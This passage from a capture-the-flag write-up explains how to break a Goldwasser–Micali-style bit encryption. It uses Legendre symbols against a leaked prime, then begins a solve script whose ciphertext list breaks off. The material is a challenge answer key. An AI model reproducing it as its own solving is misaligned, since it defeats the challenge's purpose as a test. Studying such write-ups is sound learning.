alpha+beta-2``` Which is only satisfied when `x` is a non quadratic residue (NQR) for both `alpha` and `beta`, *i.e.*, `pow(x,(p-1)//2,p) = -1 = p - 1 mod p` for both primes `alpha, beta`. So why is it important that `x` is a non quadratic residue? We see that the list `encrypted` is populated by looking at each bit of the flag fragment ```pydef encrypt(m,p,N): m = bin(bytes_to_long(m))[2:] x,y = p c = [] for b in m: while True: y = random.randint(1,N) if GCD(y,k) == 1: c.append((x**int(b)*y**2)%N) break return c``` When the bit of the flag is `0`, we see we append `y**2 mod N`, otherwise we append `x*y**2 mod N`. As a `NQR*QR` is always a `NQR`, we see that when `e` is a QR of `alpha` or `beta`, the flag bit is `0`, else it is `1`. Hence, given the list `encrypted` and the prime `alpha` from above, we calculate it's Legendre symbol, and build the binary of the message element by element in the list. Note: We could not have used `N` to solve this with the Jacobi symbold `(e/N)`. The reason being that as `x` is a NQR for both `{alpha,beta}` the Jacobi symbol of `(e / N) = (e/alpha)*(e/beta)` will always be `1`. (The two options being `1*1 mod N` or `-1*-1 mod N`). The solution is quick to write up using the inbuilt `kronecker`function from sage, and looks like: ```bin_flag = ''for e in encrypted: if kronecker(e,alpha) == 1: bin_flag += '0' else: bin_flag += '1' flag_first = long_to_bytes(int(bin_flag,2)).decode()``` ### Implementation Putting this all into one script, we grab the flag. I really enjoyed this puzzle and liked how each side of the challenge was realated to each other. Thanks Tux! ```pyfrom Crypto.Util.number import * # =============================================# Challenge Data# ============================================= encrypted = [8275388885893443678512608174583957947590309348942674029219139766033877421235161075918724281644541406737426325546718855424922421027456863273458919998545467221054722513118900731853582010191616529523149239211823326097059481394982405216805736026843496287510870984960606881599659029681463533442028850871083557245708431081611576195650081295754646614223075146244172640035745595201096575799953106958958823961745347809868725990094382564782459573369267084258180629996951381010335197918437224707631804268793231007408577148700601701733125925778103081617704618150464316944867015215136115148852858427081632945440226864874485969036, 15024296399248205807122283689218566390496831326714396409792698800299803699301917950571943978689203513033584150094505457016262896601569472975694249735868927545747376155035355172679069869391576487683339945053025561973538233598962491053616062448590875865853120541090533979077586759609748116789893243566792470265647394997623728211496444114524716174538826025238226744167882966331979570971147974439013520123807853304141074922819254390573278963951028965333115123709521490574568657424853506100358492167003754085320874172675844872523407009636278408648249022482033283263545795955048395340172016592888042786341560412169364360001, 8306804146139841703662296481670028512569861001982166156300978867964732343666844421908720481508208344128833750429002100096384052015432491831892049736734497300228735845740855915814234072220578188540365762661298990446887696869442265423101051767761814869830227497381321288755842752400643084896381346770315602771712252950207458333740221122576793634691535640996291946630387371059710336481841029337199092184199195481031420940512259368428183199169604313686269963008566029405931099768575763578093273177788903942347613920927708476120538300169317081584387486689950862668362006780346364210752321874739147678128956856905307430939, 9090926834832880131039466112389521759835027092102666051830975522775416131941390663603517122663639030241606461726928803519872080716380468494566458111754697844347834330110848437904571565293442668818757561252515736911844854788968098131116050728406756552916538064387685819180609776930078066840543172090378828357305032923534421583824825498146736224877546038077507027963258714149451501988469802610847930077560203513625718011204415608918856306514943906502065352408657406521500840695610237528570390850631051297301958628398021610281666561743392425150858199215990245235295138526825586977098559233597568287319243164987238349396, 10526789517277012439437477478714936461723275233079469631554614785653564207198044048929502315168773360705453770844386240881946111126846839174151177062492583563520701673511065729492968109502375092733986202426882625918910004477282670061892964406000653395900311729160009502037803343946006228979422398747388473288813597837921732768366801583756444889333300852297214868082499035054987339851967907090518876310425359250852198141165625500908066587940559435100607106532015981542704619533823939076229330235810171674557802079539863155524561515389817189885635848380361783695990224919666705106139855484254131956974093838150059627236, 9003753733613904486287458171339728086811199429996510961739387618312464105866856434273809012724471190111990704832234029121866642971810167675626855816956117520083517665771956881566340780821231541293176778611919702977766091857788798237265822668841618777558403360079306181115507146118237268401892952346082420409549162066462494546747598186867064502018101728457590400800594297072899646568026777506515853955050270441919182744002186040048976480858578894267458182096893848190609301499454615236154959261033187197098254571487727266947262729259719995265793914875270755301423038377698368020094207076171948172861958762760313218882, 10068658465473196270532475081894763591388192479211118027075487006954776823815932905382212629741136410019740441174914532976962441769960639588585947341379281525535404431111630135876546483887325907794071134248951814972629532764951869976271149237195543275466887093329843083399333768459948777790197819519649472898923114672624544076972927816523704276700807722016766315255036268147235529713638221779340326869921517142718033469669512937584217738178557790175375234407553853715689690070913626886156078712548648762981345905651060689958956808012506429003000317965674253524689184998783775751070497391445507519385786969701312249770, 8214810102194933594308069870478868225120076730504905518089087491973828409772738094104948640593886231020082757238243088298703760897031833051384729979196236196281037948707784493651795698484761341791837718155899264459216789782672100087596860897016195663248920660881014928850728908469518483938282453644668029685293765059050840727012393781023421906701085610700861703691833116468441036373319294213842117029540254803688164909913909868344334009471581518128153693297667410025638408608151514105372254633557289818450411361991475433531918919481137733164420298475716965179160550406340764267103292868867371591070606766226368312384, 10563384197118850441900193742522804083811132573837116217421570161888194408556070812875963319385759644134349695164901373327564658061652956314523574524858331080588808598125699052287605106201714043807817428043840087002938353845272396786298464072596481608009560488803633732261103163680918048927214992238818695123297980261564892408997021970610477765905671859944084662751303295438306158980334425975416649676628397645032798025850867299637062506376544547273701019783357763493914629835912448221445020936247842452706097884936538343691715463345421246864867121307125256476296245978184944842618441074671950346363986928642867431529, 3713782353555722602362010136405655520634663369580450853233803101083194227028982815581979442401966342688910148940472608845574797906630957771315963051052224920239010840042783700038909407468294955189724340424070183668085470878889818401857555483532483861001531382206901756791757661119914172473009261351815830944550751476990919930639905217202021106029596949501526991563758005356530120805564122955887170644001082992726258118351274254891995600317931435092579918036765780973708229340569281331041507397034175054167104124384944567981951563808716346233032325527604868569039009789632404139834354000494960494166920340102966477652, 12040023514607804225177335042780297822193547746732553466519151038912881078719897874792464408208347411501836057564926672269108734506545012430732069572960021261596112708026997683925081006646145366329389463991922779921675241812950844045889879479488609091969504070048031810239386688020394190896052330570608055098639243235625010235286185137892703432034792607936780969312252579917965350047449736938149753284853170574599762416700505075564239889486104402932263705341756606353866498729802615481414418542642085785813871503187709201327033479742930293511274076842779764083521469523134380202417566360604214150314597538775733094449, 4182704370322682566151967954208044093122433899611179433372773109642053644911092443070790653127271118424079480842674550632253217724454658947151418225883350873513860635680863150321440789480536414299571955505917769386201884467374326169106654392650118369610231355474229397414600973327860604128674774689646879819297819873514098852460160506512637179400640473917613979187172950733644503446613824474695557201475542639258478377647353778368527904475448263999287059425823002967619091654007184437307506239911395390724423421418929014688134975910290525054222919349601960265551396389808438794942485179059420646373328592562110875935, 4508157810377775057054934788581176681995962182195041651328738999986592464287575600715684275536558106039740714013972015497525136854128359016735231728104700742126995515000462057819202258786397098323015304576420290548560985846247230914302207611237825230281512357301333861456434604002941370568431718438304397993106014901561660714217778995969676367227729922234937595718008538102109056077307406903861612355089521471710135108714155082046775442728609020663950462867181860090595860127540827167103662236832592398100364230583869427792285490949436524598831956240220240907443660968456011020043632159227448218779862179238966321095, 11833836686794762493389692187087510136787100711221775614702238798372740339365015352106794720795072164791096760868835081265903098750755678972870578961427917570042854775096463138203780630379944995116852385085676807336079105458262604724150544983983680327979969572509186605523570417314442028748997757117402496428024597221123274971781806538907058582799105877279753527712077067817158080698721705008083382019042167248303815089366448983787084961368664566971502245945613482720039366747490938213784461659886532030988465916568032678500580388199557355827198904887485892236318494737576705141932803203753013278803086355315612551183, 9390095431026387834907673966762863332167841318149807124747496464189586038816758837037255434612736962103622044518634284148626919043575987992536043474495998254021043120187146765915745813716554874074483388444121676892472209976591010742020191195424033231885804546149263187827427242295079134513915454452479621230233448045464822891387804481796809579986819236273615909669010488048353973130154601370106243945659106657093087292318425982282198150305988679273988227357180313181953499890685971493534150284110802400195255863139638968663821481370007171302051388006212073511310495825495704602374984642735302764219143673669730559603, 7728868260097165258325512162962631682123733861487313442607852797918905627048797803508624254041009454363876137239781888812824636850880843157737058756183279779491022770077253568903973764963779014960229687098468556201912722007789009072431170773705177867920619390026701419087738421459966376817190718658917479912717869359536509675804300435230181896693936625733588808268139275251298351830392077411953476646681813541761652875492379859976230746747161296547953368828928660878504881275200549777863318450589479881637575104571789854005973284291393590410698338671978623530380813871981902958922137381094638485707719414917357009187, 10189927468040444993092586238703188214739132641516794090800041086364416360111257273753798484510942035289590486455984400350174593296678264236395189494858329795895824316008784030499984626523776787057050159081960248647967212717459484544082171685517415308767238574997212899452419105756096094543327981607204104137165771088778934801800642833430734491860524967876506229910351582714530753726270826171331426795703936458982046007145496201419210940368101786905862729003582892547000086022063991084745656657098091868557059922873137544400480190674901990237743439890808644083437587231116109855979440652220445592237956414058775070151, 8236255615288216737233342137062975563981512400448231144119013745026457396491150203671046550780723594554772587640757706132817343585912947669427757618987404207970871563791693921376286756061916676013021114894910850869347773818111958270870400028553657835178730330677854701702485060066578016912933205664230906064207875063139449929940796392586248219708958813075524811726954594642540262483443852595011554617713244371526401374774976888324294565456082067042857554516785188551315632003184886037774810362890645748324339409532729015116181993006076770619610663295692762727233056760800856291905688633850601016380834674290593033814, 3473198504170475545876730971456469563763342907454567276943754514011700006770395061621347422934046856292986491200899333031919410153559760169281801096803341507210554097181790112581399892174192565302155827890588668181693598484813112002176762588839108274393949813482983180263169611985281056897218601236733471927817801394248631621953026748465468104208319575191434559851824560567244766740867270643643080329496143421079763142847120271215457358260755841821297601612337573428415203026913617528529859990276538451041158949438356428116331450305732069080800157660087548860430662038190305327250449208144766777008500039860721229660, 5610735858540692651784723977717771076003573144440467912274200237699776316290955512277741145007783383494320363708439910220931439860424060681363730189347716172850312120665137811299217485507087730501693529595570764350491687116062496296792844505055171586439254883975162728236113520266068839032253295422517685040097229274479342431866261785603890137662762163978517720761085891749977330710053394647570278885227415573067135591893761353822036939946408487025978400577747834622220826463045374395813113748982087467257142559238532190393437414671349064393074880119291229404056767579678618604180524565209174089839044434714561944694, 11176076667488645406745652327171917716446417194575716127411164810986517749107802972937418295978040643389940316752610061136434837719599771298836271964842150829484308426927316298802698366195957896538751503612661852457519898398952483047063352436661213676754892680526775857714084006780297348656740092391036307237929318149318396079558263637905063980697091331180315812288287348814120865679219865801004920067264189322794849766132529995025233093768306677382369405826446770553217688021378597625391658554538197947552266599558574554006769124515615515197000639178644721144171154739336697234085766408323442588032184354448644204848, 11416572686491513123379507005215658875765086145522702191611409740738413742316073504544727674717006103070319445753081372530122925855788428643277346531956690560245411373184657786474084602065926793508020749128633339606862438661806372871784157187026048159182536921893628653939071350500128621520235865165493259329408598230549646504962479678459688109815966407672512249987851235673900480550554799532225350775159747820557497354188169949945626518394659729549200931136321198050224268435015499665343593919375884905049126924847184250423358509353981718421897251262850628542683327743883697937074219890770588170420880115512101564762, 10523724910208933464812991923568395076722472984209303629018412833194777915564863483835100760190427427880962824670722932391550801913321021076390293876616331818239012427337893327439918055828366974539921915593945621219565330404767858923408274666737270126919511526454745606640025298644609038052604294878709487534865955253633918333223333879424428507727130681734250516878112781986828292113888597325509521170781274478155608012102842983046339140288035115708874931661099364731034962030829368594443884281533786936798829872741389822449571270648093413601061283260904786333494218494975171314738484383857691899631799919938420856957, 14365902777854250531983507602664309923015005167645884278945840924939071223466766967290376724494723411730147618483955478391331518620286819246924772511743257805492912979619809893863280730458829905856759708728919947859746821166234955628968376481717289750410591787552618458209263578716314885073581177800453091495975924544696126055703989942738779484826213131418402443604738334502050551683568609423702169701996015388756179309333183442799476303038318215377678152397894782352599973842375297786468311754538017544187662407854492419166728270199868303381649771437224708694091369087106035183433646991290508264802262323861332550116, 6022669031166747253466015339055995683996490219779227431073941591159625450759399668388588623195297259370236391379380267063536076324830294921760848919711263267559176171057494193211176749372936677787531543149399435366664972464676023486069288457518007573954621546444552795842447567137705816940873155883227545339121574570360466854571283856608218146257177217725295873816126341807496786042068185326681194799568209330390811050131901061216855784474299081502457680617712775607031235616229511646164034787969210556330585465636862540037347534311336801156030134644802987586688204047991611117427367968627869201711276601205371093919, 14178143334702995711224677704872466715091490617379439831733487637228083284188901311983616663695808397085734913719344600405251686150831528656302047072340539968230723433301788529616623237924387814101388716293541588988502784101449665214818532912349932404266795674124745685709793582162386817707620066554580142149212645098447752026009855192781623817367254806186284664625011321638610247932199543750217700448124190971521157103000045031556572047178912636656890071698776287326125888236908608221740969951155885228272148079963328348040529492808084359765572305545064388149774570742147783615145500116629655283436336222366327543406, 2680694524573180510619388201364051956601371678626391643107074412361381069403125947698678225063626428698917021785592445711838163172162359861736932747529950301873046271424574982870967985158058371593102557602636589570170621892557141141890971308668815321321503846592691104760153182493173228131111669725218287430013076199633505869722650653471230844973353770543433580350352997695912141095717556776042423299523637339514996694804061478395355232111329297566967096869832367088294558338779659711819074452339499289329236095862199932247595807459057788640451741247616687346483386335709540893162289374277509809033849394952307960585, 7478797866767288177842590557744979347761318151001769080926453642372665971078854559404929429533831964726956415195994378611670569410451711422282005274821931987455210091843102814304596405241825589335607034784044881971150238738517391880937791655999639819771979955821435731333716281513883730007806365757816468753070749747852937599167905365829150573933335225537271763569203939077628984917567871123995663164333544291462730081421781584369739712819645132052534587203082434052907909075469922372615750377044879450432513785661204414594312043845016705644213917758530136038213977501633500345728565735490454571637088698053351282058, 11886840181470037072367499175055683225679270502498128458158694920914785565436864610112181200403310783097482126193153589047228843841978210695871814286817260095579253909639108860259637041828373762432612146251368747039379561840706451564261266647291032218038177218174963531324061931656772043667740581858687265351593183131721230440968373818535928436349273532930515825453633730706324750578097156542138694133418009576599035850809366587674284577915488229845838784023971322777768625816793683732261992862646935210677172812974476972934895449820728110690039646399600054233305704650273134378459145317845299276434637028635767223462, 2216960839748624388459153780170456316924086708811353035411015501288750028345315185724068026696346669655596020325162845908385816646003589421068916971172024307172818766796568807210583154992886441265716347716750577942103145646553615969178321374665546934473173285085041862023716353943428707418260824848718424309202872827500090021593693764154373923221927770193447154567668601160122224299767143871729287729336361625573566427425777162068174110188807322711625673306228759377160291466390815205580451777519597083906158744026660417700384870973545360482494491372172626175686993967315252516591053138185989262143895170934789837982, 8463755598473187211768479408502123448267857511527855998115925756697591210942507697141702867920476710609211442389921498556023471904376450380494335821890581522634876033738104980219758056801907451098156537824790701711317640988631514715071699331492106328103419122762416582995708093656829153328248772635394504968903357670121616456999817631902269048198599931847533625808729547462810703241231963410572023573441547403697642531584083965112168970492938486392199982540151512486445159210453122187155349626706949647814851489127140982364673732166930109951403346543701510594655823570077993298130847377564591662211212809798554006313, 11669029083164068827959305898870952163583409531894609836904587375987997016043922234590812448667953841336809832498377507968271207191887227096827158403842387580518522018119481580097590560765854651886856641375402643671911943942882941602771593524173196112352900870797272850926855475038472585864420721323469436582488256898242102198409339224792476853240372018721632079359601189385546918676811939444789798793252387321857199284972000847774042545236354893193567850652496133506686538610102264639466688067586885159990470325240532456931519979934443896574738255893331623848084516167731047977483052727795746031271729817639984706102, 7034591715586025670257400075150516708591163727130659288048895054931819771811408355732593769192148247715670310607367519300097082489935735167637024998529268936933945915618402676499468241051409227947394390861342738650867959430488928982695340486311994486151751605199891653343017626233945357380082727663135590875697586197058573555738489424694507764434341179890603171843509014876489820165022112170755148787041666307962104172311332366563054319249032363402167058599286377479607916057924347311910939053730031083618215189816988494907507543337649200172136826603966403082813112203821328587592168859202563557990701452188983077100, 2780908644277163156594934974067263877876352882525071854429514335638556765964233337918318546035803945521387422955398713321590020812695765487129768975055915263827753925026442274260317839160965674232285173318706423561470374130438804820483313473713303297973880689191166955062446627562279431851341431336371401588284505479465814444525773971892706977738596810189463641565306780755328057441692550104630288541554441782967574599396685201947336267791497144470269703474943409052519917031731113108494531412015574642110425099379094103092917223351307712292115474725049201111055438011639765944389552069634593117734425429987141240261, 10404513245276011341483479942739715224797010232802912687290865978208016528869669478119476869491971128071835088449597367454256088939889422708834976172487513080083443668285738241594863633871425978572680681776475953491893382826702367953395087449714577435707739417979162809997442780837328448083724182904991786384992232048285420209103312128501678197403108992511039199404598436244078174784966088849256295508766701171439989894308724609097757626248115475096887464919247957938896202712857176647085322080028586904704785513641861853598916621432191397458633912437128897702822612007877981950799633656963155514290763129663906274293, 348543172566425094267390019248254585843854038342942924698403095997551582634381613617057341711648617230193268606615528780048410943905269530808251238466258631838901987761955753848467526648584038249883600186046302077226422425981226208896846897766398750507395712564730011207725768780681073163348889651288372741196594043635156219216495862353232751600736243053824875057253386163990392302384455350591348919057205487763820268423171825380637011680660174869825118565915576609531001219841843425877889383347643934625732646311981691236936219614701861819483650539628291914744450424368276463407550933725783124804902417682926475643, 1862565071922487005086663051339057570593283826223227951030703733195337228156589818511419160496708387398431991616394703161049908289762833143693409180258557791440793006351157989862872462220238262161065914478288822467630347482923416613879230004853565574246549359456399823325227711410594047215142697373259250406926546753989593068176194347220446107529012764007148093717637384709823548379525463354373665488480355525834886462242089645285285249808505141692348453012480064035596741061739908582360334795011215987801998735877574864574207800331408089616207833602489817768744283098154895425356155561899103510344776580917514005999, 7791316716322855278497706884529042143282484239200017242538597106715404982368789818452435382237615495565127581707946123304955590430004621759354710819303625563207189921457901345457117694897840559645433585598140264675462377131310190054108518789256262872027562200433265093561868047839654850504509573900671408967204863041658680399004434677068216787576540232169302936462226884932793715950017402982945890864923566619561418294496820125983043990560866905439408720768051846228172327949684111225157456882994829527348579778152150931182116605081768444459716244226147342128825313465790575765812259597204965579364124277814540219766, 10911832963184217835532697581521167925334771539453317373311120843526463226266540240507961249871684972579593048012425564890483226594507101738145781968227773461699739460502688594113771757732004978258153686172814145067600010256987625470463432011925483723302348030331326339597983922765660107778917227640786682845155273428964648054689720988283106815377155716401054114968530271480955095080567937536715468218186833238272168555604885314613062998547454114911556456349426534084662186342131757605897563841613677106844892347086419471883283673140288230654622437038343205957056758415952085034684419006717730488952304523759073096909, 8805661576559823179168203130601768598992677210327865485308059735123403938745783870876580316736911840453558014732300234338477920142095160130643896013618515035270196229124782849216027958215525984193111812653527340495085371787196831505561539004481525429835570012691574546585686475226086768496241941291460175300643292326119595869720403766473861574458267142911056445306234232811597059008576858074218956825146013761034158794163618282523237907558497170989782219974596330256647101843879180996894925790446284520148008000460495881565442102220619914305464461756780391385872379310110325568134624005137129425003270608198685719855, 14039452113852900517934673829590693310305496339920559529942737533390764212574529637449012692384524696970969028053055154844295250283381816438259225112527265802156316500264008415557282357800945399230008272548150067835848238930576851814431739623840578739622609543235082477302534137352094899279225763851615377107058785398170778534220683470873515524482680439100969053275630766491667512816141982033638561924183396717269008744422741525143942610271829699215464945287281292942037229717356779421070398321329552029495108267364761013945538926625328401517176256932355308976341282931691870829621882734265030549150559397998071309367, 13186735669883811488444711221565076301786614468300919648383539567647716162597728794295331115962129863438148566109139888403691860045240775335568142657907134868089850280543415014151895787269676222086052449860266389569707664767338195752602843714561807424779397520082989238421798991949101093180483309917886247951815228077723352992457183543627141060883234700744890364455521423343959940973569181763779231696662314503390737946554621996497479279688283452957732781215536870142849264317847565523943592743211573460743410285553149358390891410245923189183511030339897172188542591228500082858661374191273333942300144555948256855319, 13199327855270764544525026558150115881192201465814851248503345382344697512404378154954105407236878264597397059680257805544550324230845548111911679518083356918070289189665278600968557293048298134435810743016366064559165440517221655462536573687493841312612070653768856647458406334991607474290969928240889082210493843013133167680556924962263717538057465883853017988043861317095507117972541820056607582691597492942481969173321103341435909448150967179826878617543815000082244921718700205864383856766050676285880221950158851533491847851771364705315303856372287397919979557251156127886884015623195126516870008651066910188793, 4454453488522425497430544571845732424572325073674451923313049338711562747358134363701610574752487716604138206684879968953162383009440101995844888488057187463123693776244658218403197677060122728972945658406112389886411608724508017432736511238674377043913889010500811525212291593985887095036218076264885402056403639389750598013495109077659221465125413306921482067078932552979552004063582949397080549825572832118346807523825939796908848853746692668853536137285414687641800203943386402884762589734026393001935667332653904213504113465757908637134479690555787519830780334820960373370311930276412368107975457894817968766313, 13344222374099615818796933720823540138227340064950390502126060414449574677165638209566178926377513365686061573432848574666794056784991165026855266006298073567634154732279787404054935073932254379754264312880390465486248694983081814113865151845482502278155757502733881982509297384739400677580991718054358755390327792121638673111932765766571228727568357983312239817790508307160171196235525275470164269779590268439875952024271592872393494659826169320744515891424492596940694466281960842867208935718694388051216929151283299161956973640159401046726410218224701722953236879512262435885095373920531937528035782075878686797793, 4549509528550102624007494101936308700006279417735836715411385802267554534014307483652229835093437957310922897449047559680642403359098552147563253520655539648325769409454930198229693333020071297407975575614014074223393137105123150721188243522138714832026294121315979816031927332597721915790597553638935547058268631060208658119743893022527672399387655104917532508245171452933998217814622107893834380479527023628204126612619403915525477946910399451175266921987244925461252546067922057868536614186988096034352636262226079868953643748241719660154663638810648004441467967931857402831046520418208115024127015811994547174437, 13669523792877420589383070144175360617439958319788222744638553991419667933200090690336114826937249084743715699659308574007244907830790951237114622130097462389102238337046607317486429327144205153943848084848839555725641469800873358505670905574929891568811357070868543245876488522249639656106496711161270713575619864729864986375546149351535679581517218296438525286548520817216590529043601616093165300928266260630645657433469332034492299772440995655775906538796441775109034453535581603747102102600938203696679569126789580219481971225045471692262019450742650946099619483074748707801615868626253472132366860668565806280152, 9810717995095057081681377169450969332126097662755664018993262167262015535143745461153569766121744153780103601863360742041288870965619732805892782566917196669385737593275663023745239730529655016737413526335593877974947060565336973407626793145535478019504037739370451850767086861113660828811456364458987663413449674889436698494766276856559756804401465798753915953848251237194546087958548267967378986385609076281539615278965291927952881733589808565376541084747600263267136259754773034546953489599411577713585750617139868972189700556992777231463905987248419980459295991430280287076517078865196020289782892011983557636723, 9389387710780309443091636019586422287143969636090102291378709201482074280456424347296341727105807830809947225528055325455100500820455679311534147538591293932737703994131101944117285125569102219878108174232259330656454757648944064111462544897650468829821835884750247255412852676560102138448249968723223765938401245604999872265507210907770923036639750311359327270767788825921786988029709543782110713592139551857176149961337879830947639119648833033471278283907139968319935753491458133378536728660305431979060276749927151696434834197830279932801445629135926813848276350946301251490164017195884321122789987495368888351322, 11302899383728944385854014866272828482276354248127517359680401891430560937057117297895951367057961647217385878001023004859153281633920258643469415310436503926251358479056466606322164478329332928532286281092212587861021543290024628427879736320812222067436295280326244938447659984749626126599113583322356455968417014672841390914488709205382999413512726209316416861865176477130564744666068364444352859312186555857804849370427183347317258395817671571362665055769759797611847583497072327476771618373735198123087262730267141005712221340892145688688879093072821246614421261054275525827959298857720758646652015848892301866325, 6009289352739863752658149671220717389207045166140845566674798339888331510717872847483983045605357759739827019600017903011626644049973226686249930276607390799260647969624198239661239266469378736546794809010536131379688822164365429709657839177790288435865140713527618299744638001391790357332702940491091324674870794434218611611113629638625565170861833815340217235188650054537405389349493728991507278846862083559316519276133969192337916458452628161148388644500551254704303992041919796186101669688202647314105272192922363925894763337564531845654721977625530947574273582553252571205044476936554386075352306802996916784736, 14700756711328681587104866293230523952825682058737823078277750591869753805504314398804774655701269673343291035346232705282336747061416310098445604442804237437105393076641175874208134045442267022680692066727963936023028600360673560355375814870709473306497583346993207780126697312783208535836149739190495283778134346528412095437566245226912790636156665432072779949155150315480110351445839102449687608087231406077890815195246148827457693476325233660994988893621900064962814258985086137517289983468004485957737322136319328347037876883271619927722386035097453664035985453065621029014416189468907092984431012397469475380822, 11617128762841905021290302101253512479251857297608607329472672629986379335422655846205036076502495515090793997724646701838097337205422423755367987412143338245744155977995853733003555520961448331776446748829755327693308991793029744436468011137157800971594447292257890472114356986875232596056561022278533349960034984495932365675062345035118784756871504854193280271365081645691337391380439145646070909110472695434964400571474217270325364523502885609211377132232532272450098093577989124900618749053290940812363450692061745025089069542484959309622314434797444405132948562219806380564653394520159657750227552533423193493969, 3841289139146089120342802569317450686435657828323876034319303961969867828040265078048840717217927575629144020301298454007157826779780100154211289985160199870187008181832956828489507525087082103219742383589440636819987820446791555533817028270539105643415623908821595552672923953044343121967487953269977241516286648329088476925046729918957104259591109842510092655337063553551172719944659659486232816495195590689055386035520513265297368033005806977946980751089421772669684205232360939763916245626713717579608435433837480206353104614655623968511847193908650883334304291142499324442927941997421156823714434031322899453428, 8719270433680245055264488365708898136467883129294384215502475925339992342826841155806139978976363680892591607565311956152627912143438044010468431239781279261770924887019708034255811534346491427645458875705022403881892378300857917988409604589156513054898362078407114284525447906040175290101864977588796355024120578638259959850833353119202176924691103989534288246672469016391884724051698831666033143284808314170296929255073391401744385745598528126483258033788294457242774281141956395447924747104424991599316569059159679631242535815027735862781657296987464439834923394146345403031876567550987634270136733232850527891543, 13102471757891171127862583467011117747136836313983687954777904235144186097499065194808162189555605075094539937535953029174900647835748933254049193264324966299240964085955612095143740732404233592680191496235343593880784892574536506463898539033104627511473907853123870655444750040958254994584213929441174194345648369597441512794890170676507520213193396894397537884286190418624573027767752992570246445298655011256138393286797248655555400634908606393947945125852864301851348371662116562684101327690733695188644513352081828440640344387730757687560739561067399510266386649232937420767485702877651350294648368163169965479713, 3310469721304491815766024511467222819648863019554376281061443198292371640031325800492210945125911510066983414717431087663200651561421090676846921305005409794081090875568665745454659233659290640617188085778377840269405142850784142549834307441172170897766863307738994523034219290754754993446434922316370131706116988817102378262212737267700998473861886007785367248682999080353516440029669223641879496346272490953904350293219003522110173296900150254627084099773765725193718645267768760710397290508305618088049918967363987779441994298639242649498198186429385324882102479495876112858273991428370408016418864488913358548399, 11393456360673115764250043378056740348721211239339063627043189413655819754653336883938551509989912293157496455630201707160181246892449377915844004340717859199785229778452350402743439383431752455846471498004684005667065764053728126662177447524756753197390508152676409864899150031189466370669588318515995230355747613013738765974423008915984325133040473813623185155237276500752489844955758716210024786581672859411752832191487684259828878050766506366368504329301614616638918141303006150128028073160171875237955677637602114271624387004215938601338485567035328319314314087326781498307130533905963593941303286195335680901180, 9838545785778026660527422489864857962654548073005602706161989792384835352084523628950498047170293195501947820374961490211237017579914207790017979143692562243785984040944086316442695150827854353642984941625528424214578080483540345816065942739787871633316246689533388158886732801430127682490593157816615923917658568829496994256361564018507047253991212518358888686146041991722293447731984650260678751590945978619515649110787802746043629346726589178409763006374274992204255855603441940579133777625134827272139909181894358205154453246052353522956366169248775067031318743419613141801378014663704258110570094280519730656882, 7190976065444706497618673039286644485190289593559052391239566849673546236109942550101501983627389019504478093692496145710661286873077115749602041416663279855816035202459884703957549506067196365012922763389174900109464306793540173810089180382030673728967126247708145198748331512340107359781700094743409678339832087407847040360838646761567037007003383571670675054572059119582882517296496279485019696785768081071561600956747889550638502940170782016847242121516666212226434110832302779378310669151246041338191081127301676225522885246840671726864237449781582406491950870039593748519023727437097913286441850537524798654353, 14996387091285881176266085956190520322780888380878072203302682078454051017314261078640824111737314993643478477781717274854189273713216586600845876082137064817948701236962498513410575052609852080003887916891332218721420738629805956515728867132640513602799121521855543621327661321625274019152835418696826395435503037673139570497158999097364740540086306853353470804425366689702276999611343203854614644158175927217990092790029677363119281756755904215372459376686847026568164818793242722757937655592546631510676997297276554354144395399567443303598805627825745409269728554232398813695840007155719008058532355516316318852956, 9583766538725180653577867746749041606972211826658998223983068169143226677052158702272583830834011693091209230976042257452717312129310956025349862617445486787409532567355901298747030542904721858800988522083520981549225556419520181667130161539225745674332173438354227810723686774492484092072767201061220163998280065110929774502670757916177810232762027673119964667030167539494529856470501814748588923929352012821765873499000015220820135618195178197053453726466898187950804201394075602145047162488514948376740380902041397307725916691647934635560394924011723753499548516966632766947613240088713911111183319975472192142102, 4772209830120888393586405787596409759116654382266072017946572365486922021418002232350140181024268244152880218843705854476176734362065951763619656615936112681037192127377374780733014904800078394487764295445371962377503673286238428762966041690917315940141514638685221287037032967368241317966509710051918202351264357665310530003926116162906292615336540243423721868696654202742720843925197143589706371346696026173693904264926231157616644874759600438300441233233298200896236146305278842241519288175589106989636179989041320631399888907081620371455951020892653879577611542189682359940020787360721634316904657875376289731994, 2947386937165173315184449667017793586788330772065645697188384559233596380183052593342088316778059613879762246120633746251592444387606122020157507616557284697507162914517064991413410439158551360151976097015017938810946172670228590438636630117544351558401604567753404619095958071635133277381060456444162299582952080779585773103403253404608745466319984291206451067872757807704676282062783747371603808117128885563788647934718612542131168277291936850360686929371568685673079360546883462051923988148208127175851486558346520299888177105285095462077120425620929113334739857582740781080665913903381891310589819105860413117619, 7863582313481285616923035849141551131897735337717653547843549670781961501147205005198086323014527965830786670103537136711238530566436225497230882502978936105710558368924795308012673772319147689399499424834667810218823704512152258126151588660682783208400463201955419694843240604908851457544687487084255551221922469410091963410315578139439519248044930910393164535386225527626266206743754101760574672882513654964556809316951207156222524919301574360335991486592433831651816217857690037283123582103150098648635912242677295826867229638193782734722101218392869803229091640500818984931779705040754258189256812568662454579632, 5264608052971023165774531703284376640943168953906399293608382696507920845545946974482141870583715889093558209933450553661701857353238232695862587394786807528771901552306598897136027481691828006260306932102713334732340921579340626090856585117109796783771701408319264034538002100333639987286979058184756112221021800182517815552765515488513264776238629626255427536513537761187973412234119794942677291444325900038961086944319613723241910634483279205014601946925267792853400760402573286668914615850172831599703618871665890208206506085706876885981979949559997142739044999306967291652527389135321031976464682673543468365560, 13846064466826463338830283194450290509099385429575498349083486428473127444247884974261410982409482629439892822274983453472074961497551841988290939636624536949264486740344599218119242939239003234229676926556513745539556846830536258156332258727144422472307509952942510519777935930079728451779906614393973555659883642442725984900054975287700275859664926595547880641820624068794951953342089879005717163181667792141696233522582050993293649514026347624765617035935559698420240628433019238460038054610700759297639508768510654984638539720119697312147102932449617068315042410313016579439218502505382246991071696348217195959246, 7453370682471740583181823505330629472799150120602186677178397978597262609924829512070203648538270601259448855781081729900048158927398248979383629065976348059129287365380754431116231667887507469925211038645268220382864084573106259118175243190437478516508912117025608140109887099976327071700559349261846849503067474233895679261342932175722417701276115618256774900582203593578885892281770713974411151637969703839939961613645724276353848273999136675595122874288466800995563811212939757933090563229110821724628967648944592623616661206202616410249373527860607709420650308392004754576364755732066893388454618601830589606693, 